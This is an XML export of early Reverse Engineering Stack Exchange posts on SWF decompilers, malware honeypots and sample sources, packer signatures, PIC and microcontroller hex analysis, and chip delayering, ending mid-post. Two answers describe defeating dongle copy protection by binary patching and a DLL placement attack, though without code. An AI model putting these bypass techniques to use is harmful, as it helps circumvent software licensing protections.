  <row Id="224" PostTypeId="2" ParentId="133" CreationDate="2013-03-24T12:21:36.997" Score="2" Body="&lt;p&gt;I have used SWFTools (&lt;a href=&quot;http://www.swftools.org&quot; rel=&quot;nofollow&quot;&gt;http://www.swftools.org&lt;/a&gt;) package in the past for swf files analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The swfextract tool in that package allows you to extract all kinds of artifacts from a swf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The swfdump tool in the same package can disassemble all versions of ActionScript (v1-3). The nice thing about swfdump is that it will show the output in human-readable p-code format which helps very much with analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there are commercial decompilers such as Sothink SWF Decompiler and Flash Decompiler Trillix. I don't have any experience using them and can't recommend as to how well they work.&lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2013-03-24T12:21:36.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="225" PostTypeId="2" ParentId="206" CreationDate="2013-03-24T12:38:43.963" Score="12" Body="&lt;p&gt;There is also the option of putting out your own HoneyPot to capture live malware. This does take a bit of effort and some resources (purchasing Internet addressable IP address). However, the advantage of this method is that you are virtually guaranteed to capture malware that are actively being used currently in the wild. There is the possibility that you might hit a jackpot and also get infected with a brand new malware that might even exploit 0-day vulnerabilities. This approach is very helpful for people who are already well-versed in the field of reversing. I have used Dionaea (&lt;a href=&quot;http://dionaea.carnivore.it/&quot;&gt;http://dionaea.carnivore.it/&lt;/a&gt;) in the past to set up my own honeypot with very good results. It's replete with instructions, background, and references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For beginners and for people who don't want to put too much effort gathering samples, I would advise taking the route of downloading the malware from the sites the other posters have indicated.&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="1467" LastEditDate="2013-04-06T17:42:44.993" LastActivityDate="2013-04-06T17:42:44.993" CommentCount="0" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="226" PostTypeId="2" ParentId="168" CreationDate="2013-03-24T12:54:49.050" Score="5" Body="&lt;p&gt;In Linux/Unix variants, strings command has helped me identify some of the packers such as UPX, Aspack, NSPack, NTKrnl, PeCompact, Themida, etc., All these packers tend to leave embedded strings in the packed executable which helps identify the type of packer. Granted, the author of the elf file could introduce the very same strings intentionally to throw your analysis off-track. I would just use this as a starting point in my analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some of the identification strings that helped me identify the packer type.&lt;br/&gt;&#xA;UPX - UPX0, UPX1, UPX2&lt;br/&gt;&#xA;Aspack - aspack, adata&lt;br/&gt;&#xA;NSPack - NSP0, NSP1, NSP2&lt;br/&gt;&#xA;NTKrnl - NTKrnl Security Suite&lt;br/&gt;&#xA;PECompact - PEC2, PECompact2&lt;br/&gt;&#xA;Themida - Themida, aPa2Wa&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the file command identifies some common packer formats too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you suspect that the file is definitely packed with UPX, then I would recommend the suggestion from 0xC0000022L.&lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2013-03-24T12:54:49.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="227" PostTypeId="2" ParentId="174" CreationDate="2013-03-24T13:12:56.927" Score="6" Body="&lt;p&gt;As Peter has indicated, looking at how the dongle is used for security is the starting point to identify the attack vectors. In most cases, the software developers implementing the dongle security is the weakest point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past when I have tested software with dongles, I have used free tools like ProcessMonitor and RegShot to identify simple vulnerabilities to defeat bad implementations of dongle security. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen software that on startup checks for the presence of dongle and then proceeds with its operation without using the dongle until its restarted. In these cases, patching the application with OllyDbg is not that difficult to tell the app to run with full functionality as long as the dongle is NOT plugged in to the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also seen software that allows a user to click on a button in the software so that the user doesn't have to have the dongle inserted. The software claimed that is an extra functionality like &quot;Remember Me&quot; option. RegShot and ProcessMonitor showed me that a file is written with some information and as long as the file is present in the expected folder, I can run the software on multiple systems without a dongle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just because someone uses AES or Hardware Dongles or any XYZ doesn't mean they are secure. All that maters is whether they are implementing those security measure in the right manner assuming that there are now known (or 0-day vulnerabilities) in the security measure.&lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2013-03-24T13:12:56.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="229" PostTypeId="2" ParentId="144" CreationDate="2013-03-24T13:24:42.950" Score="7" Body="&lt;p&gt;Here is a &lt;a href=&quot;http://bruce-lab.blogspot.com/2010/08/freeswfdecompilers.html&quot; rel=&quot;nofollow&quot;&gt;blog URL&lt;/a&gt; that lists free SWF Decompilers available. It includes programs for decompiling AS2 &amp;amp; AS3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the tools listed there include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ActionScript Extractor&lt;/li&gt;&#xA;&lt;li&gt;SWFWire Decompiler&lt;/li&gt;&#xA;&lt;li&gt;JPEXS Free Flash Decompiler&lt;/li&gt;&#xA;&lt;li&gt;JP ActionScript decompiler (ASDec)&lt;/li&gt;&#xA;&lt;li&gt;HP SWFScan, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to disassemble AS3, then I highly recommend &lt;code&gt;SWFDump&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;swfdump&lt;/code&gt;&lt;/strong&gt; (part of &lt;strong&gt;&lt;code&gt;SWFTools&lt;/code&gt;&lt;/strong&gt; package) will decompile AS3 and will work in Mac as long as you follow the instructions in their &lt;a href=&quot;http://www.swftools.org/faq.html&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; to compile the tool set for Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current collection is comprised of the programs detailed below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;SWFDump&lt;/code&gt;&lt;/strong&gt; Prints out various informations about SWFs, like contained images/fonts/sounds, disassembly of contained code as well as cross-reference and bounding box data.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;SWFStrings&lt;/code&gt;&lt;/strong&gt; Scans SWFs for text data.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;SWFC&lt;/code&gt;&lt;/strong&gt; A tool for creating SWF files from simple script files. Includes support for both - ActionScript 2.0 as well as ActionScript 3.0.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;SWFExtract&lt;/code&gt;&lt;/strong&gt; Allows to extract Movieclips, Sounds, Images etc. from SWF files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;AS3Compile&lt;/code&gt;&lt;/strong&gt; A standalone ActionScript 3.0 compiler. Mostly compatible with Flex.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;SWFCombine&lt;/code&gt;&lt;/strong&gt; A multi-function tool for inserting SWFs into Wrapper SWFs, contatenating SWFs, stacking SWFs or for basic parameter manipulation (e.g. changing size).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;PDF2SWF&lt;/code&gt;&lt;/strong&gt; A PDF to SWF Converter. Generates one frame per page. Enables you to have fully formatted text, including tables, formulas, graphics etc. inside your Flash Movie. It's based on the &lt;code&gt;xpdf&lt;/code&gt; PDF parser from Derek B. Noonburg.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;JPEG2SWF&lt;/code&gt;&lt;/strong&gt; Takes one or more JPEG pictures and generates a SWF slideshow from them. Supports motion estimation compression (h.263) for better compression of video sequences.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;PNG2SWF&lt;/code&gt;&lt;/strong&gt; Like &lt;code&gt;JPEG2SWF&lt;/code&gt;, only for PNGs.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;GIF2SWF&lt;/code&gt;&lt;/strong&gt; Converts GIFs to SWF. Also able to handle animated gifs.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;WAV2SWF&lt;/code&gt;&lt;/strong&gt; Converts WAV audio files to SWFs, using the L.A.M.E. MP3 encoder library.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;AVI2SWF&lt;/code&gt;&lt;/strong&gt; Converts AVI animation files to SWF. It supports Flash MX H.263 compression. Some examples can be found at examples.html. (Notice: this tool is not included anymore in the latest version, as ffmpeg or mencoder do a better job nowadays)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;Font2SWF&lt;/code&gt;&lt;/strong&gt; Converts font files (TTF, Type1) to SWF. &lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;SWFBBox&lt;/code&gt;&lt;/strong&gt; Allows to read out, optimize and readjust SWF bounding boxes. &lt;br&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;SWFTools&lt;/code&gt;&lt;/strong&gt; has been reported to work on Solaris, Linux (both 32 as well as 64 bit), FreeBSD, OpenBSD, HP-UX, Solaris, MacOS X and Windows 98/ME/2000/XP/Vista.&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="245" LastEditDate="2013-04-07T15:33:09.000" LastActivityDate="2013-04-07T15:33:09.000" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="230" PostTypeId="1" AcceptedAnswerId="241" CreationDate="2013-03-24T13:41:43.673" Score="8" ViewCount="249" Body="&lt;p&gt;I found a 14 pin integrated circuit with no visible markings. I have no information about its functioning. How should I go about trying to explore its functionality without &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/187/what-kind-of-information-can-i-get-from-reverse-engineering-an-integrated-circui&quot;&gt;destroying&lt;/a&gt; it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a lot of analog components such as resistors, capacitors and inductors, a variable power source (1V-14V) and a multimeter at hand.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-05T13:26:31.130" Title="How should I go about investigating an IC's functionality without destroying it?" Tags="|hardware|integrated-circuit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="231" PostTypeId="2" ParentId="206" CreationDate="2013-03-24T14:13:47.370" Score="36" Body="&lt;p&gt;There are many great options to get malware samples in all the comments but, also, I want to point you to 2 more options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://oc.gtisc.gatech.edu&quot; rel=&quot;noreferrer&quot;&gt;Open Malware&lt;/a&gt;. This is the new site for the old Offensive Computing.&lt;/li&gt;&#xA;&lt;li&gt;I used to host a MalwareURLs list on &lt;a href=&quot;http://malwareurls.joxeankoret.com&quot; rel=&quot;noreferrer&quot;&gt;My Blog&lt;/a&gt; but it seems to be down ATM. I'll update with a new URL as soon as it's back up. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="111" LastEditorUserId="27922" LastEditDate="2019-03-25T21:02:41.697" LastActivityDate="2019-03-25T21:02:41.697" CommentCount="4" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 4.0" />
  <row Id="232" PostTypeId="2" ParentId="168" CreationDate="2013-03-24T14:24:05.750" Score="7" Body="&lt;p&gt;I do not recommend you to rely on the strings or section names you may find. Normally, it will indicate that the file is packed with UPX but, specially if you're analyzing malware, it may be done in order to fool you. My recommendation is to look to the entry point and find a pattern similar to this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00023b60 ; FUNCTION start&#xA;0x00023b60 (01) 60                     PUSHA &#xA;0x00023b61 (05) be00904300             MOV ESI, 0xHARDCODED_VIRTUAL_ADDRESS&#xA;0x00023b66 (06) 8dbe0080fcff           LEA EDI, [ESI-0x38000] &#xA;0x00023b6c (01) 57                     PUSH EDI &#xA;0x00023b6d (02) eb0b                   JMP 0x00023b7a   ; 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, find for PUSHA, MOV ESI, VIRTUAL_ADDRESS, LEA and JMP.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-03-24T14:24:05.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="234" PostTypeId="1" AcceptedAnswerId="1371" CreationDate="2013-03-24T14:59:36.647" Score="11" ViewCount="3592" Body="&lt;p&gt;I extracted a .hex file from a PIC16F88. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:020000040000FA&#xA;:100000008F3083160F0570388F009B0183129F017C&#xA;:1000100083169F0107309C0005108312051483127C&#xA;:1000200003131730A0006730A1002930A2000A1284&#xA;:100030008A11A20B17280A128A11A10B15280A127D&#xA;:100040008A11A00B13280510831203131730A00088&#xA;:100050006730A1002930A2000A128A11A20B2C28B5&#xA;:100060000A128A11A10B2A280A128A11A00B282829&#xA;:020070000D2859&#xA;:02400E00782F09&#xA;:02401000FF3F70&#xA;:00000001FF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In MPLAB, I imported this .hex file and found the disassembly code, in this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1   000     308F  MOVLW 0x8f                             &#xA; 2   001     1683  BSF 0x3, 0x5                           &#xA; 3   002     050F  ANDWF 0xf, W                           &#xA; 4   003     3870  IORLW 0x70                             &#xA; 5   004     008F  MOVWF 0xf                              &#xA; 6   005     019B  CLRF 0x1b                              &#xA; 7   006     1283  BCF 0x3, 0x5                           &#xA; 8   007     019F  CLRF 0x1f                              &#xA; 9   008     1683  BSF 0x3, 0x5                           &#xA;10   009     019F  CLRF 0x1f                              &#xA;11   00A     3007  MOVLW 0x7                              &#xA;12   00B     009C  MOVWF 0x1c                             &#xA;13   00C     1005  BCF 0x5, 0                             &#xA;14   00D     1283  BCF 0x3, 0x5                           &#xA;15   00E     1405  BSF 0x5, 0                             &#xA;16   00F     1283  BCF 0x3, 0x5                           &#xA;17   010     1303  BCF 0x3, 0x6                           &#xA;18   011     3017  MOVLW 0x17                             &#xA;19   012     00A0  MOVWF 0x20                             &#xA;20   013     3067  MOVLW 0x67                             &#xA;21   014     00A1  MOVWF 0x21                             &#xA;22   015     3029  MOVLW 0x29                             &#xA;23   016     00A2  MOVWF 0x22                             &#xA;24   017     120A  BCF 0xa, 0x4                           &#xA;25   018     118A  BCF 0xa, 0x3                           &#xA;26   019     0BA2  DECFSZ 0x22, F                         &#xA;27   01A     2817  GOTO 0x17                              &#xA;28   01B     120A  BCF 0xa, 0x4                           &#xA;29   01C     118A  BCF 0xa, 0x3                           &#xA;30   01D     0BA1  DECFSZ 0x21, F                         &#xA;31   01E     2815  GOTO 0x15                              &#xA;32   01F     120A  BCF 0xa, 0x4                           &#xA;33   020     118A  BCF 0xa, 0x3                           &#xA;34   021     0BA0  DECFSZ 0x20, F                         &#xA;35   022     2813  GOTO 0x13                              &#xA;36   023     1005  BCF 0x5, 0                             &#xA;37   024     1283  BCF 0x3, 0x5                           &#xA;38   025     1303  BCF 0x3, 0x6                           &#xA;39   026     3017  MOVLW 0x17                             &#xA;40   027     00A0  MOVWF 0x20                             &#xA;41   028     3067  MOVLW 0x67                             &#xA;42   029     00A1  MOVWF 0x21                             &#xA;43   02A     3029  MOVLW 0x29                             &#xA;44   02B     00A2  MOVWF 0x22                             &#xA;45   02C     120A  BCF 0xa, 0x4                           &#xA;46   02D     118A  BCF 0xa, 0x3                           &#xA;47   02E     0BA2  DECFSZ 0x22, F                         &#xA;48   02F     282C  GOTO 0x2c                              &#xA;49   030     120A  BCF 0xa, 0x4                           &#xA;50   031     118A  BCF 0xa, 0x3                           &#xA;51   032     0BA1  DECFSZ 0x21, F                         &#xA;52   033     282A  GOTO 0x2a                              &#xA;53   034     120A  BCF 0xa, 0x4                           &#xA;54   035     118A  BCF 0xa, 0x3                           &#xA;55   036     0BA0  DECFSZ 0x20, F                         &#xA;56   037     2828  GOTO 0x28                              &#xA;57   038     280D  GOTO 0xd   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to know with what compiler this code is compiled. How can I do that? I'm looking for &lt;em&gt;general&lt;/em&gt; ways to check what compiler made some ASM code. The code listed is just an example.&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastEditorDisplayName="user187" LastEditDate="2013-03-29T06:42:59.327" LastActivityDate="2013-03-29T16:08:24.067" Title="How to see what compiler made PIC ASM code?" Tags="|disassembly|compilers|pic|hex|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="236" PostTypeId="1" CreationDate="2013-03-24T16:19:58.920" Score="3" ViewCount="211" Body="&lt;p&gt;If I go to a random blog or informational website say, having pages with information, a sidebar with an overview of the archives. I know that this website is built with a CMS. How can I get to know which CMS was used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm looking for basic, general typicals of common CMSs, so that we can get to know the working power behind any informational website or blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a typical might be that WordPress adds such a line to the HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;generator&quot; content=&quot;WordPress 3.5.1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user187" LastEditorUserId="189" LastEditDate="2013-05-14T13:11:31.023" LastActivityDate="2013-05-14T14:52:22.340" Title="How do I identify the content management system used by a website?" Tags="|websites|cms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="237" PostTypeId="5" CreationDate="2013-03-24T16:21:33.070" Score="0" Body="&lt;p&gt;C++ is a statically typed, free-form, multi-paradigm, compiled, general-purpose programming language. It is considered an intermediate level language. Multi-paradigm refers to the language being procedural, functional, object-oriented and generic.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-25T16:59:37.127" LastActivityDate="2013-03-25T16:59:37.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="238" PostTypeId="4" CreationDate="2013-03-24T16:21:33.070" Score="0" Body="C++ is a statically typed, free-form, multi-paradigm, compiled, general-purpose programming language. It is considered an intermediate level language. " OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-25T17:02:18.527" LastActivityDate="2013-03-25T17:02:18.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="239" PostTypeId="1" CreationDate="2013-03-24T16:25:05.893" Score="9" ViewCount="597" Body="&lt;p&gt;Is there any way to differentiate different microcontroller's hex files? I have a hex file and now I have forgotten of which micro-controller it belongs. Is there any available tool to tell this? or any tip or trick to know? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;There is a similar question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/233/what-pic-processor-was-this-hex-file-meant-for&quot;&gt;here&lt;/a&gt;, But this question specifically belongs to PIC family while I what if we have to differentiate from different families like AVR, 8051, PIC etc. &lt;/p&gt;&#xA;" OwnerUserId="288" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-03-25T02:25:38.550" Title="How to differentiate from different hex files of different families of microcontrollers?" Tags="|decompilation|c|hex|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="240" PostTypeId="2" ParentId="187" CreationDate="2013-03-24T16:44:57.697" Score="15" Body="&lt;p&gt;There are various techniques used and I'll list some.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Probing while operating&lt;/strong&gt; - if you have a probe station you can operate the device and probe intermediate signals within the die.  This requires that the encapsulations (usually Si#N4 -or sometimes Polyimide) needs to also have been removed.  Once this is removed the chip has a limited life, but you can't probe through that.&lt;/p&gt;&#xA;&lt;p&gt;Also, the feature size of the chip on top metal must also be large enough to be able to probe.  In most modern processes this is very problematic as even on the coarsest resolution layers it is still far too small for probing.&lt;/p&gt;&#xA;&lt;p&gt;In this case, we use a FIB (Focused Ion Beam) machine to cut and also to add test points on the chip.  In this case, you'd leave the passivation on and the pad is deposited on top of the passivation.  The FIB then cuts through the passivation and connects to the traces below.  These machines are typically charged out at $100's per hour.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Delayering -&lt;/strong&gt;  The chip is etched layer by layer and photographs and/or electron micrographs are taken at each stage.  Understanding the construction of the devices will allow you to regenerate the device structure down to the Si.  Here dimensions are important.  Understanding the implants into the Si itself requires the use of SIMS (Secondary Ion Mass Spectrograph) machine and tiny holes are milled into the substrate the ions are vacuumed into a Mass spectrometer machine and the species and doping profiles are shown as the machine drills down.&lt;/p&gt;&#xA;&lt;p&gt;There are lots of other machines that are used that can help determine species and doping levels.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The two techniques above cannot help if there are flash or EEPROM devices, because the state of the device is set by the presence or absence of charge, which you can't read.  In this case, there are other tools that are used.  You would delayer to just above the gate levels and try to read the stored charge on the floating gate using various techniques like AFM (with the ability to read electron affinity- special attachment).  There are even techniques that can be used such as SEM with surface contrast enhancement that allows you to monitor a running chip almost like a strobe light.  But this requires that the device can have significant metal layers removed and STILL be operational.  Which is not usual.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;To fully RE a chip you will require multiple chips and you progressively learn as you slowly step through the various layers.&lt;/p&gt;&#xA;&lt;p&gt;There are many different techniques used, most are developed to help designers debug problems rather than to RE, this is only a short overview at best.&lt;/p&gt;&#xA;" OwnerUserId="246" LastEditorUserId="42335" LastEditDate="2023-01-05T10:37:33.480" LastActivityDate="2023-01-05T10:37:33.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="241" PostTypeId="2" ParentId="230" CreationDate="2013-03-24T16:56:38.697" Score="10" Body="&lt;p&gt;Given you have a 14 pin package it could be almost anything from a op-amp(s) to 74XX series logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a continuity tester and see if there are any pins that are obviously shorted together.  If so that would be a big hint that they maybe power rails.  Also look for common pinouts (Vcc, Vss on corners pins 7,14 etc.).  THen use a diode checker and to determine the connectivity of these pins, where to you see opens and shorts, Vforward etc.  You will start to see which pins are wired and likely which are +'ve rails and ground -'ve rails.  Do keep in mind that there will be ESD protection diodes you will see.  If there are no diodes at all then there is a chance that that pin might be a Analog input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next set your power supply current limit to very low and power up the device via the pins that you thing are the rails.  Be aware that you can power up a device through an input pin through the ESD structures, but that is noticeable because outputs will have a output voltage that is one diode drop below rails on them.  Increase current limit and test probe and slowly work your way into understanding the chip, eliminating possibilities as you go.  IS it an op-amp or logic?  An open loop op-amp will act somewhat &quot;digital&quot; but probably won't go to the rails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The permutations and combinations of possibilities and techniques rapidly expand from this point forward.&lt;/p&gt;&#xA;" OwnerUserId="246" LastActivityDate="2013-03-24T16:56:38.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="242" PostTypeId="2" ParentId="239" CreationDate="2013-03-24T17:39:43.340" Score="6" Body="&lt;p&gt;My first idea would be to perform a frequency analysis on aligned bytes. For most of the assembly languages, the most relevant bytes are aligned on the most significant bits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it might be quite easy to create a distinguer that can recognize the type of asm. But, suprisingly, after a few googling, I didn't find any tool or paper about this... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is something to do here.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-03-24T17:39:43.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="243" PostTypeId="1" AcceptedAnswerId="262" CreationDate="2013-03-24T17:46:39.220" Score="9" ViewCount="665" Body="&lt;p&gt;A curious and useful feature of GDB is &lt;a href=&quot;http://sourceware.org/gdb/current/onlinedocs/gdb/Process-Record-and-Replay.html#Process-Record-and-Replay&quot;&gt;process recording&lt;/a&gt;, allowing an analyst to step forwards and backwards through execution, writing a continuous log of the changes to program state that allow for remarkably accurate playback of program code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although we can all safely say the process recording log contains the executable's changes to the various data and control registers, the functionality is much more than keeping some serialized representation of the current continuation. For example, I've been able to reify the state of an executable that uses threads to modify shared memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly we can't expect time dependent code to work, but if threading code modifying shared state can, in general, be stepped through backwards and &lt;em&gt;still work reliably again&lt;/em&gt;, what limitations does process recording have beyond the purely architectural challenges (i.e displaced stepping) specified in the documentation?&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-03-25T22:03:38.433" Title="How does GDB's process recording work?" Tags="|gdb|debuggers|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="245" PostTypeId="2" ParentId="239" CreationDate="2013-03-24T19:28:53.667" Score="-2" Body="&lt;p&gt;Try to get an idea of what kinds of CPUs it could target. You can probably also guess the bit length of the CPU by looking at this file (file_size % 32 == 0? Probably 32 bit). Once you have a simple list, run the binary through some disassemblers and see if the code makes sense. Try running it in some emulated CPUs and see if it does anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, keep in mind that invalid instructions might not mean you've got the wrong CPU, it could just be data or something. It's actually probably worth checking out the file to see if you can't find any strings or anything, just to get a better sense of where things are.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-03-24T19:34:50.553" LastActivityDate="2013-03-24T19:34:50.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="246" PostTypeId="2" ParentId="239" CreationDate="2013-03-25T00:51:30.990" Score="5" Body="&lt;p&gt;I don't know of tools designed for this. In practise, loading it into IDA (or any other disassembler) with different architectures until it looks right is probably the easiest way to do it. You might be able to write a script to automate this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to build your own tool, I suggest you look at &lt;a href=&quot;https://www.youtube.com/watch?v=4bM3Gut1hIk&quot; rel=&quot;nofollow&quot;&gt;Christopher Domas's talk &quot;The future of RE Dynamic Binary Visualization&quot;&lt;/a&gt;. It discusses a number of techniques that can be used to analyse unknown data. The general idea graph the frequency of every group of two or three bytes in each file. The graphs are distinctly different between different architectures, and could be used to automatically identify data types. The actual tool, and the dataset you would need, is not publicly available, but this is the way I would go if I wanted to do automatic architecture detection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simpler approach would be to search for function prologue patterns in different architectures. Although the implementation is simpler, it would take more human-time to prepare the dataset (because identifying function prologues cannot be automated). Some processors may not be powerful enough to run C code, and if the code is not compiled it's possible to not have predictable function prologues. You may be able to find other common operations that you could search for.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-03-25T02:25:38.550" LastActivityDate="2013-03-25T02:25:38.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="247" PostTypeId="2" ParentId="174" CreationDate="2013-03-25T01:11:25.523" Score="15" Body="&lt;p&gt;Clearly Peter has addressed the main points of proper implementation. Given that I have - without publishing the results - &quot;cracked&quot; two different dongle systems in the past, I'd like to share my insights as well. user276 already hints, in part, at what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many software vendors think that they purchase some kind of security for their licensing model when licensing a dongle system. They couldn't be further from the truth. All they do is to get the tools that allow them to implement a relatively secure system (within the boundaries pointed out in Peters answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem with copy protection in general? If a software uses mathematically sound encryption for its licensing scheme this has no bearing on the security of the copy protection as such. Why? Well, you end up in a catch 22 situation. You don't trust the user (because the user could copy the software), so you encrypt stuff or use encryption somehow in your copy protection scheme. Alas, you need to have your private key in the product to use the encryption, which completely contradicts the notion of mistrusting the user. Dongles try to put the private key (and/or algorithm and/or other ingredients) into hardware such that the user has no access in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since many vendors are under the impression that they purchase security out of the box, they don't put effort into the correct implementation. Which brings me to the first example. It's a CAD program my mother was using. Out of the knowledge that dongles connecting to LPT tend to fail more often than their more recent USB counterparts, I set out to &quot;work around&quot; this one. That was around 2005.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It didn't take me too long. In fact I used a simple DLL placement attack (the name under which the scenario later became known) to inject my code. And that code wasn't all too elaborate. Only one particular function returned the value the dongle would usually read out (serial number), and that was it. The rest of the functions I would pass through to the original DLL which the dongle vendor requires to be installed along with the driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other dongle was a little before that. The problem here was that I was working for a subcontractor and we had limited access only to the software for which we were supposed to develop. It truly was a matter of bureaucracy between the company that licensed the software and the software vendor, but it caused major troubles for us. In this case it was a little more challenging to work around the dongle. First of all a 